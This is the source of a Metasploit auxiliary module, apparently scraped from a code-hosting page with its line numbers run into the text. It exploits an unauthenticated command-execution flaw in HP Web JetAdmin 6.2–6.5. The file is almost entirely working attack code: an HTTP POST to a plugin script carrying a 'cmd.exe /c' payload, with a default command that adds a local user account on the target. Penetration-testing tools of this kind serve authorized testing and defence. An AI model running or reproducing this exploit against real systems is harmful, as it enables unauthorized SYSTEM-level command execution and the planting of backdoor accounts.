Path: blob/master/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb
21546 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',13'Description' => %q{14This module abuses a command execution vulnerability within the15web based management console of the Hewlett-Packard Web JetAdmin16network printer tool v6.2 - v6.5. It is possible to execute commands17as SYSTEM without authentication. The vulnerability also affects POSIX18systems, however at this stage the module only works against Windows.19This module does not apply to HP printers.20},21'Author' => [ 'aushack' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '5798' ],25[ 'BID', '10224' ],26[ 'EDB', '294' ]27],28'DisclosureDate' => '2004-04-27',29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [IOC_IN_LOGS],32'Reliability' => []33}34)35)3637register_options(38[39Opt::RPORT(8000),40OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),41]42)43end4445def run46cmd = datastore['CMD'].gsub(' ', ',')4748send_request_cgi({49'uri' => '/plugins/framework/script/content.hts',50'method' => 'POST',51'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'52}, 3)53end54end555657